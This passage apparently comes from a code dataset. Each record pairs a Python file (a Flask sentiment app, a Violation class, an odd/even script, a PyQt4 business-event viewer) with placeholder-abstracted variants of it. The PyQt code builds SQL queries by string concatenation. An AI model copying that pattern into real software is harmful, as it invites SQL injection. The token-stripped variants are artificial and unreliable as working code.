https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n )\n elif sentiment[0]['compound'] <= -0.05:\n sent = 'Negative '\n emoji = 128577\n address = (\n 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n )\n else:\n sent = 'Neutral '\n emoji = 128528\n address = (\n 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n )\n return render_template('output.html', sentence=st, sent=sent, emoji=\n emoji, address=address)\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<assignment token>\n\n\[email protected]('/')\ndef hello():\n return render_template('index.html')\n\n\[email protected]('/', methods=['POST'])\ndef func():\n st = request.form['review']\n if st == '':\n return render_template('index.html')\n english = spacy.load('en_core_web_sm')\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n if sentiment[0]['compound'] >= 0.05:\n sent = 'Positive '\n emoji = 128512\n address = (\n ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n )\n elif sentiment[0]['compound'] <= -0.05:\n sent = 'Negative '\n emoji = 128577\n address = (\n 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n )\n else:\n sent = 'Neutral '\n emoji = 128528\n address = (\n 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n )\n return render_template('output.html', sentence=st, sent=sent, emoji=\n emoji, address=address)\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n\n\[email protected]('/', methods=['POST'])\ndef func():\n st = request.form['review']\n if st == '':\n return render_template('index.html')\n english = spacy.load('en_core_web_sm')\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n if sentiment[0]['compound'] >= 0.05:\n sent = 'Positive '\n emoji = 128512\n address = (\n ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n )\n elif sentiment[0]['compound'] <= -0.05:\n sent = 'Negative '\n emoji = 128577\n address = (\n 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n )\n else:\n sent = 'Neutral '\n emoji = 128528\n address = (\n 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n )\n return render_template('output.html', sentence=st, sent=sent, emoji=\n emoji, address=address)\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
9,989
c513ad6ef12ae7be5d17d8d44787691cbc065207
class Violation(object): def __init__(self, line, column, code, message): self.line = line self.column = column self.code = code self.message = message def __str__(self): return self.message def __repr__(self): return 'Violation(line={}, column={}, code="{}", message="{}")'.format( self.line, self.column, self.code, self.message)
[ "class Violation(object):\n def __init__(self, line, column, code, message):\n self.line = line\n self.column = column\n self.code = code\n self.message = message\n\n def __str__(self):\n return self.message\n\n def __repr__(self):\n return 'Violation(line={}, column={}, code=\"{}\", message=\"{}\")'.format(\n self.line, self.column, self.code, self.message)\n", "class Violation(object):\n\n def __init__(self, line, column, code, message):\n self.line = line\n self.column = column\n self.code = code\n self.message = message\n\n def __str__(self):\n return self.message\n\n def __repr__(self):\n return 'Violation(line={}, column={}, code=\"{}\", message=\"{}\")'.format(\n self.line, self.column, self.code, self.message)\n", "class Violation(object):\n\n def __init__(self, line, column, code, message):\n self.line = line\n self.column = column\n self.code = code\n self.message = message\n\n def __str__(self):\n return self.message\n <function token>\n", "class Violation(object):\n\n def __init__(self, line, column, code, message):\n self.line = line\n self.column = column\n self.code = code\n self.message = message\n <function token>\n <function token>\n", "class Violation(object):\n <function token>\n <function token>\n <function token>\n", "<class token>\n" ]
false
9,990
382bc321c5fd35682bc735ca4d6e293d09be64ec
#função: Definir se o número inserido é ímpar ou par #autor: João Cândido p = 0 i = 0 numero = int(input("Insira um número: ")) if numero % 2 == 0: p = numero print (p, "é um número par") else: i = numero print (i, "é um número ímpar")
[ "#função: Definir se o número inserido é ímpar ou par\n#autor: João Cândido\n\np = 0\ni = 0\n\nnumero = int(input(\"Insira um número: \"))\n\nif numero % 2 == 0:\n\tp = numero\n\tprint (p, \"é um número par\")\nelse:\n\ti = numero\n\tprint (i, \"é um número ímpar\")", "p = 0\ni = 0\nnumero = int(input('Insira um número: '))\nif numero % 2 == 0:\n p = numero\n print(p, 'é um número par')\nelse:\n i = numero\n print(i, 'é um número ímpar')\n", "<assignment token>\nif numero % 2 == 0:\n p = numero\n print(p, 'é um número par')\nelse:\n i = numero\n print(i, 'é um número ímpar')\n", "<assignment token>\n<code token>\n" ]
false
9,991
8339113fd6b0c286cc48ec04e6e24978e2a4b44e
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'KPS_RevisitBusinessEvents.ui' # # Created: Sun May 18 14:50:49 2014 # by: PyQt4 UI code generator 4.10.4 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui, QtSql import sqlite3 try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_Form(object): def setupUi(self, Form): Form.setObjectName(_fromUtf8("Form")) Form.resize(666, 538) palette = QtGui.QPalette() self.eventSkip = 0; self.db = Database() brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush) self.inWork = True brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush) brush = QtGui.QBrush(QtGui.QColor(8, 129, 2)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush) Form.setPalette(palette) self.tb_EventViewer = QtGui.QTableView(Form) self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351)) self.tb_EventViewer.setObjectName(_fromUtf8("tb_EventViewer")) self.tb_EventViewer.horizontalHeader().setVisible(False) self.tb_EventViewer.verticalHeader().setVisible(False) # self.tb_EventViewer.setColumnCount(0) # self.tb_EventViewer.setRowCount(0) self.bt_Earlier = QtGui.QPushButton(Form) self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23)) self.bt_Earlier.setObjectName(_fromUtf8("bt_Earlier")) self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier) self.bt_Later = QtGui.QPushButton(Form) self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23)) self.bt_Later.setObjectName(_fromUtf8("bt_Later")) self.bt_Later.clicked.connect(self.clicked_bt_Later) self.label = QtGui.QLabel(Form) self.label.setGeometry(QtCore.QRect(70, 0, 511, 41)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush) self.label.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8("Segoe UI Light")) font.setPointSize(18) font.setBold(True) font.setWeight(75) self.label.setFont(font) self.label.setObjectName(_fromUtf8("label")) self.cb_EventType = QtGui.QComboBox(Form) self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22)) self.cb_EventType.setObjectName(_fromUtf8("cb_EventType")) self.cb_EventType.currentIndexChanged['QString'].connect(self.handleChanged) self.label_2 = QtGui.QLabel(Form) self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21)) self.label_3 = QtGui.QLabel(Form) self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21)) palette = QtGui.QPalette() brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(255, 255, 255)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush) brush = QtGui.QBrush(QtGui.QColor(120, 120, 120)) brush.setStyle(QtCore.Qt.SolidPattern) palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush) self.label_2.setPalette(palette) self.label_3.setPalette(palette) font = QtGui.QFont() font.setFamily(_fromUtf8("Segoe UI")) font.setPointSize(12) self.label_2.setFont(font) self.label_2.setObjectName(_fromUtf8("label_2")) self.label_3.setFont(font) self.label_3.setObjectName(_fromUtf8("label_3")) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) self.initialize() def retranslateUi(self, Form): Form.setWindowTitle(_translate("Form", "Revisit business events", None)) self.bt_Earlier.setText(_translate("Form", "<<", None)) self.bt_Later.setText(_translate("Form", ">>", None)) self.label.setText(_translate("Form", "Revisit business events", None)) self.label_2.setText(_translate("Form", "Select Event Type", None)) def initialize(self): self.cb_EventType.addItems(self.getBusinessEventsType()) # self.cb_Destination.addItems(RH.getLocations()) def getBusinessEventsType(self): conn = sqlite3.connect("../Database/Business.db") conn.text_factory = str c = conn.cursor() c.execute('SELECT Event FROM EventTypes') locs = [r[0] for r in c.fetchall()] conn.close() return locs def handleChanged(self, text): modelView = QtGui.QStandardItemModel() query = QtSql.QSqlQuery() query.exec_("Select * from BusinessEvents a, EventTypes b where b.Event = '" + text + "' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " + str(self.eventSkip) + ",1") recCount = 0; while query.next(): recCount = recCount + 1 if query.value(2).toString() != '': query_Origin = QtSql.QSqlQuery() query_Origin.exec_("Select Name from Cities where ID = '" + query.value(2).toString() + "' LIMIT 1") query_Origin.next() modelInputItem = QtGui.QStandardItem("Origin") modelInputValue = QtGui.QStandardItem(query_Origin.value(0).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(3).toString() != '': query_Destination = QtSql.QSqlQuery() query_Destination.exec_("Select Name from Cities where ID = '" + query.value(3).toString() + "' LIMIT 1") query_Destination.next() modelInputItem = QtGui.QStandardItem("Destination") modelInputValue = QtGui.QStandardItem(query_Destination.value(0).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(4).toString() != '': modelInputItem = QtGui.QStandardItem("Weight") modelInputValue = QtGui.QStandardItem(query.value(4).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(5).toString() != '': modelInputItem = QtGui.QStandardItem("Volume") modelInputValue = QtGui.QStandardItem(query.value(5).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(6).toString() != '': modelInputItem = QtGui.QStandardItem("Time of Entry") modelInputValue = QtGui.QStandardItem(query.value(6).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(7).toString() != '': modelInputItem = QtGui.QStandardItem("Priority") modelInputValue = QtGui.QStandardItem(query.value(7).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(8).toString() != '': modelInputItem = QtGui.QStandardItem("Price Per Gram") modelInputValue = QtGui.QStandardItem(query.value(8).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(9).toString() != '': modelInputItem = QtGui.QStandardItem("Price Per CC") modelInputValue = QtGui.QStandardItem(query.value(9).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(10).toString() != '': modelInputItem = QtGui.QStandardItem("Company") modelInputValue = QtGui.QStandardItem(query.value(10).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(11).toString() != '': modelInputItem = QtGui.QStandardItem("Transport Type") modelInputValue = QtGui.QStandardItem(query.value(11).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(12).toString() != '': modelInputItem = QtGui.QStandardItem("Day of the Week") modelInputValue = QtGui.QStandardItem(query.value(12).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(13).toString() != '': modelInputItem = QtGui.QStandardItem("Frequency") modelInputValue = QtGui.QStandardItem(query.value(13).toString()) modelView.appendRow([modelInputItem,modelInputValue]) if query.value(14).toString() != '': modelInputItem = QtGui.QStandardItem("Duration") modelInputValue = QtGui.QStandardItem(query.value(14).toString()) modelView.appendRow([modelInputItem,modelInputValue]) #modelInputValue = QtGui.QStandardItem('Value') # modelView.appendRow([modelInputItem,modelInputValue]) if recCount == 0: self.label_3.setText(_translate("Form", "No Records found", None)) self.inWork = False else: self.label_3.setText(_translate("Form", "", None)) self.inWork = True self.tb_EventViewer.setModel(modelView) def clicked_bt_Earlier(self): self.eventSkip = self.eventSkip + 1 self.handleChanged(self.cb_EventType.currentText()) def clicked_bt_Later(self): if self.eventSkip > 0: self.eventSkip = self.eventSkip - 1 self.handleChanged(self.cb_EventType.currentText()) class Database: def __init__(self, parent = None): self.data = QtSql.QSqlDatabase.addDatabase("QSQLITE") self.data.setDatabaseName("../Database/Business.db") self.data.open()
[ "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'KPS_RevisitBusinessEvents.ui'\n#\n# Created: Sun May 18 14:50:49 2014\n# by: PyQt4 UI code generator 4.10.4\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui, QtSql\nimport sqlite3\n\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_Form(object):\n \n \n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8(\"Form\"))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0;\n self.db = Database()\n \n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern) \n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n \n self.inWork = True\n \n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern) \n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n \n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n \n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n \n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n \n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8(\"tb_EventViewer\"))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n # self.tb_EventViewer.setColumnCount(0)\n # self.tb_EventViewer.setRowCount(0)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8(\"bt_Earlier\"))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n \n \n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8(\"bt_Later\"))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n \n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"Segoe UI Light\"))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8(\"cb_EventType\")) \n self.cb_EventType.currentIndexChanged['QString'].connect(self.handleChanged) \n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n \n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n \n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"Segoe UI\"))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8(\"label_2\"))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8(\"label_3\"))\n\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate(\"Form\", \"Revisit business events\", None))\n self.bt_Earlier.setText(_translate(\"Form\", \"<<\", None))\n self.bt_Later.setText(_translate(\"Form\", \">>\", None))\n self.label.setText(_translate(\"Form\", \"Revisit business events\", None))\n self.label_2.setText(_translate(\"Form\", \"Select Event Type\", None))\n \n \n def initialize(self):\n self.cb_EventType.addItems(self.getBusinessEventsType())\n # self.cb_Destination.addItems(RH.getLocations())\n \n def getBusinessEventsType(self):\n conn = sqlite3.connect(\"../Database/Business.db\")\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n \n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n\n query.exec_(\"Select * from BusinessEvents a, EventTypes b where b.Event = '\" + text + \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" + str(self.eventSkip) + \",1\")\n recCount = 0;\n \n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" + query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem(\"Origin\")\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0).toString())\n modelView.appendRow([modelInputItem,modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\"Select Name from Cities where ID = '\" + query.value(3).toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem(\"Destination\")\n modelInputValue = QtGui.QStandardItem(query_Destination.value(0).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Weight\")\n modelInputValue = QtGui.QStandardItem(query.value(4).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Volume\")\n modelInputValue = QtGui.QStandardItem(query.value(5).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Time of Entry\")\n modelInputValue = QtGui.QStandardItem(query.value(6).toString())\n modelView.appendRow([modelInputItem,modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Priority\")\n modelInputValue = QtGui.QStandardItem(query.value(7).toString())\n modelView.appendRow([modelInputItem,modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Price Per Gram\")\n modelInputValue = QtGui.QStandardItem(query.value(8).toString())\n modelView.appendRow([modelInputItem,modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Price Per CC\")\n modelInputValue = QtGui.QStandardItem(query.value(9).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Company\")\n modelInputValue = QtGui.QStandardItem(query.value(10).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Transport Type\")\n modelInputValue = QtGui.QStandardItem(query.value(11).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Day of the Week\")\n modelInputValue = QtGui.QStandardItem(query.value(12).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Frequency\")\n modelInputValue = QtGui.QStandardItem(query.value(13).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Duration\")\n modelInputValue = QtGui.QStandardItem(query.value(14).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n #modelInputValue = QtGui.QStandardItem('Value')\n # modelView.appendRow([modelInputItem,modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate(\"Form\", \"No Records found\", None))\n self.inWork = False\n else:\n self.label_3.setText(_translate(\"Form\", \"\", None))\n self.inWork = True\n \n self.tb_EventViewer.setModel(modelView)\n \n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n \n def clicked_bt_Later(self):\n if self.eventSkip > 0:\n self.eventSkip = self.eventSkip - 1 \n self.handleChanged(self.cb_EventType.currentText())\n \nclass Database:\n def __init__(self, parent = None):\n self.data = QtSql.QSqlDatabase.addDatabase(\"QSQLITE\")\n self.data.setDatabaseName(\"../Database/Business.db\")\n self.data.open()\n", "from PyQt4 import QtCore, QtGui, QtSql\nimport sqlite3\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n\n def _fromUtf8(s):\n return s\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\n\nclass Ui_Form(object):\n\n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8('Form'))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0\n self.db = Database()\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n self.inWork = True\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8('bt_Later'))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,\n 